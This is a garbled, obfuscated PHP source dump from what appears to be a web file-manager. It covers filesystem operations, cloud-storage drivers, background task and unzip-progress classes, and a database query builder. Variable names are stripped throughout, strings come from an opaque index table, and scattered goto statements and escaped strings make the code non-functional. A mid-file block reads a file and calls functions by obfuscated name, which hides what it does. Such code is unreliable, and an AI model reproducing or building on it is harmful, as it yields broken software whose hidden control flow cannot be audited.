=& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1402]], $config[$[1403]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1405]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1405]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); return is_file($) ? $this->getPathOuter($) : !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); return is_dir($) ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intval(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function movePath($, $, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = intval(@rename($, $)); $ = file_exists($); return $ ? $this->getPathOuter($) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @rename($, $); $ = $this->iconvApp($); return $ ? $this->getPathOuter($) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ = true) { $ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; if (is_file($) || is_link($)) { $[$[79]]++; $[$[78]] += filesize_64($); } else { if (is_dir($)) { $[$[80]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[77]); } $ = array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[77], $[217] => @filectime($), $[87] => @filemtime($), $[1414] => @fileatime($), $[1415] => is_readable($), $[1416] => is_writable($), $[1417] => get_mode($)); return $; } private function fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[216], $[78] => $this->size($), $[177] => $this->ext($)); } $ = array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[216], $[217] => @filectime($), $[87] => @filemtime($), $[1414] => @fileatime($), $[78] => $this->size($), $[177] => $this->ext($), $[1415] => is_readable($), $[1416] => is_writable($), $[1417] => get_mode($)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; $ = array($[84] => array(), $[85] => array()); if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; if (is_file($)) { $[$[85]][] = $this->fileInfo($, $); } else { $[$[84]][] = $this->folderInfo($, $); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[86] => $, $[77] => $, $[87] => intval(@filemtime($)), $[78] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; if ($) { $++; if (@is_file($)) { $++; } else { $++; } if ($ > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { return array($[225] => $, $[226] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $ = $[12]; $ = intval($ / $); $ = fopen($, $[1418]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $ * $); $ .= fread($, $); } fseek_64($, $ - $); $ .= fread($, $); fclose($); return md5($) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if ($ === !1) { $ = $this->size($); } if ($ <= 0) { return $[12]; } $ = fopen($, $[1418]); if (!$) { return !1; } fseek_64($, $); $ = fread($, $); fclose($); return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array($[1419] => $[1420] . $ . $[1421]); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } goto A; F: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $, $ = 5.0) { $ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1812]; $ = Cache::get($, !0); $ = array($[1813] => timeFloat(), $[1814] => timeFloat(), $[310] => $, $[1804] => $, $[196] => $); if (is_array($[$])) { $[$[1814]] = $[$][$[1814]]; } if (is_array($[$])) { if (timeFloat() - $[$][$[1813]] < $[$[196]] * 0.3) { return; } $[$[1814]] = $[$][$[1814]]; } $[$] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1815] . $ . $[73] . $, $[187]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1816]); $ = in_array(strtolower(ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ = $[1812]; $ = Cache::get($, !0); if (!$ || count($) <= 0) { return; } $ = !1; $ = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($ - $[$[1814]] > $[$[196]]) { $ = !0; try { Hook::apply($[$[310]], $[$[1804]]); write_log($[1817] . $ . $[73] . $[$[310]] . $[1818] . ACTION, $[187]); } catch (Exception $) { } continue; } $[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($, $) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[310] => $, $[1804] => $); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[310]], $[$[1804]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } if ($_SERVER[$_SERVER[][922]] != $_SERVER[$_SERVER[][1782]]) { $_getc = $_SERVER[][925]; $_getfile = $_SERVER[$_SERVER[][926]] . $_SERVER[][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][248], $_getfilec); if (count($_getarrs) < $_SERVER[][692]) { $exit = $_SERVER[][928]; $exit(); } $_act = $_SERVER[][932]; $_act($_SERVER[$_SERVER[][923]]); } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1819], array($this, $[1820])); Hook::bind($[1244], array($this, $[1821])); Hook::bind($[1822], array($this, $[1823])); $ =& $this->task; $[$[1824]] = $[1245]; if (!$[$[1593]]) { $[$[1593]] = LNG($[1825]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1819], array($this, $[1820])); Hook::unbind($[1244], array($this, $[1821])); Hook::unbind($[1822], array($this, $[1823])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[831]] || !$[$[808]]) { if ($[$[1824]] != $[359]) { return; } } if ($[$[1824]] == $[1245]) { $ = 0; if ($[$[1758]]) { $ = $[$[1759]] / $[$[1758]]; } $[$[1707]] = $ * 0.3; } else { if ($[$[1824]] == $[359]) { $ = $[$[1706]] / $[$[831]]; $[$[1707]] = 0.3 + $ * 0.4; } else { if ($[$[1824]] == $[109]) { $ = 0; if ($[$[1760]] == $[109]) { $ = $[$[1759]]; } $ = ($[$[1763]] + $) / $[$[808]]; $[$[1707]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1707]] > 0) { $ = timeFloat() - $[$[1709]] - $[$[1712]]; $[$[1713]] = $ * (1 - $[$[1707]]) / $[$[1707]]; } } public function addFile($) { $ =& $_SERVER[]; $ =& $this->task; $ = IO::info($); $[$[1756]] = $[$[32]]; $[$[1758]] = $[$[78]]; $[$[1759]] = 0; $[$[1115]] = $[1779]; $[$[1760]] = $[1245]; $[$[808]] = $[$[78]]; $[$[831]] = 1; $ = 0; $[$[1767]] = array($[1768] => $ + 1, $[464] => $[$[32]], $[86] => $[$[86]], $[553] => $[$[553]] ? $[$[553]] : $[$[86]]); $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1756]] = get_path_this($); $[$[1758]] = $; $[$[1759]] = $; $[$[1115]] = $ == $[1826] ? $[1827] : $[1828]; $[$[1760]] = $[12]; $[$[808]] = $; $[$[1824]] = $[359]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1824]] = $[109]; $ = IO::infoWithChildren($); $ = 0; $[$[1767]] = array($[1768] => $ + 1, $[464] => $[$[32]], $[86] => $[$[86]], $[553] => $[$[553]] ? $[$[553]] : $[$[86]]); if ($[$[33]] == $[216]) { $[$[831]] = 1; } else { $[$[831]] = $[$[81]][$[79]]; } $[$[1115]] = $[12]; $[$[1760]] = 0; $[$[1706]] = 0; $[$[1758]] = 0; $[$[1759]] = 0; $[$[1756]] = $[12]; $[$[1763]] = 0; $[$[808]] = $[$[78]]; $this->update(); self::log($[1829] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1824]] == $[1245]) { $[$[1824]] = $[359]; $[$[1763]] = 0; $[$[808]] = 0; } $ = get_path_this($); if (strstr($, $[10])) { $[$[1706]] += 1; $[$[831]] += 1; } $[$[1756]] = $; $this->update(); } } goto A; A: class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\164\150\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\x6e\x65\x71" => "\x3c\76", "\x67\x74" => "\76", "\145\147\164" => "\76\75", "\154\x74" => "\74", "\x65\x6c\164" => "\74\75", "\156\157\164\x6c\x69\153\145" => "\x4e\117\124\x20\x4c\x49\x4b\105", "\x6c\x69\153\x65" => "\114\x49\113\105", "\151\x6e" => "\x49\x4e", "\x6e\157\164\151\x6e" => "\x4e\x4f\x54\40\111\116", "\x6e\157\x74\40\x69\156" => "\x4e\117\x54\40\x49\x4e", "\x62\145\x74\x77\145\145\156" => "\102\x45\124\x57\x45\105\x4e", "\156\x6f\x74\142\x65\x74\x77\145\145\156" => "\x4e\117\x54\40\x42\105\x54\127\105\105\x4e", "\156\157\x74\40\x62\x65\x74\x77\145\x65\x6e" => "\x4e\x4f\124\x20\x42\105\124\127\105\105\116"); protected $selectSql = "\x53\105\x4c\105\x43\124\x25\104\x49\x53\x54\x49\x4e\103\x54\x25\40\x25\x46\111\105\114\x44\x25\40\x46\x52\117\x4d\x20\x25\x54\101\102\x4c\x45\45\45\112\117\111\116\x25\45\127\x48\105\x52\105\x25\45\x47\x52\x4f\125\x50\45\x25\110\x41\x56\x49\116\x47\45\x25\117\x52\104\105\122\x25\x25\x4c\x49\115\111\124\45\x20\x25\125\x4e\111\x4f\x4e\x25\45\x43\117\115\115\x45\116\x54\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1011], $); } public function factory($ = '') { $ =& $_SERVER[]; $ = $this->parseConfig($); if (empty($[$[1012]])) { think_exception(think_lang($[1013])); } $this->dbType = ucwords(strtolower($[$[1012]])); $ = $[1014] . $this->dbType; if (class_exists($)) { $ = new $($); if ($[1015] != strtolower($[$[1012]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$[967]]); } } else { think_exception(think_lang($[1016]) . $[1017] . $); } return $; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ = strtoupper(trim($[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[1012] => $[$[1018]], $[939] => $[$[1019]], $[940] => $[$[1020]], $[937] => $[$[1021]], $[938] => $[$[1022]], $[21] => $[$[1023]], $[967] => $[$[1024]], $[17] => isset($[$[1025]]) ? $[$[1025]] : array()); } elseif (empty($)) { if (think_config($[1026]) && $[1015] != strtolower(think_config($[1027]))) { $ = $this->parseDSN(think_config($[1026])); } else { $ = array($[1012] => think_config($[1027]), $[939] => think_config($[1028]), $[940] => think_config($[1029]), $[937] => think_config($[1030]), $[938] => think_config($[1031]), $[21] => think_config($[292]), $[967] => think_config($[1026]), $[17] => think_config($[1032])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ =& $_SERVER[]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $ => $) { $[$] = explode($[50], $); } } if (think_config($[1033])) { if ($ || think_config($[441]) === !0) { $ = floor(mt_rand(0, think_config($[1034]) - 1)); $ = $; } else { if (is_numeric(think_config($[1035]))) { $ = think_config($[1035]); } else { $ = floor(mt_rand(think_config($[1034]), count($[$[937]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$[937]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($[939] => isset($[$[939]][$]) ? $[$[939]][$] : $[$[939]][0], $[940] => isset($[$[940]][$]) ? $[$[940]][$] : $[$[940]][0], $[937] => isset($[$[937]][$]) ? $[$[937]][$] : $[$[937]][0], $[938] => isset($[$[938]][$]) ? $[$[938]][$] : $[$[938]][0], $[21] => isset($[$[21]][$]) ? $[$[21]][$] : $[$[21]][0], $[967] => isset($[$[967]][$]) ? $[$[967]][$] : $[$[967]][0], $[17] => isset($[$[17]][$]) ? $[$[17]][$] : $[$[17]][0]); return $this->connect($, $); } public function parseDSN($) { $ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$[197]]) { $ = array($[1012] => $[$[197]], $[939] => isset($[$[632]]) ? $[$[632]] : $[12], $[940] => isset($[$[1036]]) ? $[$[1036]] : $[12], $[937] => isset($[$[198]]) ? $[$[198]] : $[12], $[938] => isset($[$[199]]) ? $[$[199]] : $[12], $[21] => isset($[$[86]]) ? substr($[$[86]], 1) : $[12]); } else { preg_match($[1037], trim($), $); $ = array($[1012] => $[1], $[939] => $[2], $[940] => $[3], $[937] => $[4], $[938] => $[5], $[21] => $[6]); } $[$[967]] = $[12]; return $; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1038]; if (think_config($[1039])) { think_status($[1040]); think_trace($this->queryStr . $[1041] . think_status($[24], $[1040], 6) . $[1042], $[12], $[1043]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[969] == $this->dbType) { return $[1044]; } return $[1045]; } protected function parseSet($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (is_array($) && $[343] == $[0]) { $[] = $this->parseKey($) . $[935] . $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($) . $[935] . $this->parseValue($); } } return $[1046] . implode($[50], $); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($) { $ =& $_SERVER[]; $ = trim($); if (!preg_match($[1047], $)) { think_exception($[1048] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1008] . $this->escapeString($) . $[1008]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[343]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1009]), $); } elseif (is_bool($)) { $ = $ ? $[90] : $[214]; } elseif (is_null($)) { $ = $[105]; } return $; } protected function parseField($) { $ =& $_SERVER[]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $[1049] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = implode($[50], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $[205]; } return $; } protected function parseTable($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = $; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[957])); } return $[951] . trim(implode($[1050], $), $[431]) . $[951]; } protected function parseWhere($) { $ =& $_SERVER[]; $ = $[12]; if (is_string($)) { $ = $; } else { $ = isset($[$[1051]]) ? strtoupper($[$[1051]]) : $[12]; if (in_array($, array($[1052], $[1053], $[1054]))) { $ = $[53] . $ . $[53]; unset($[$[1051]]); } else { $ = $[1055]; } foreach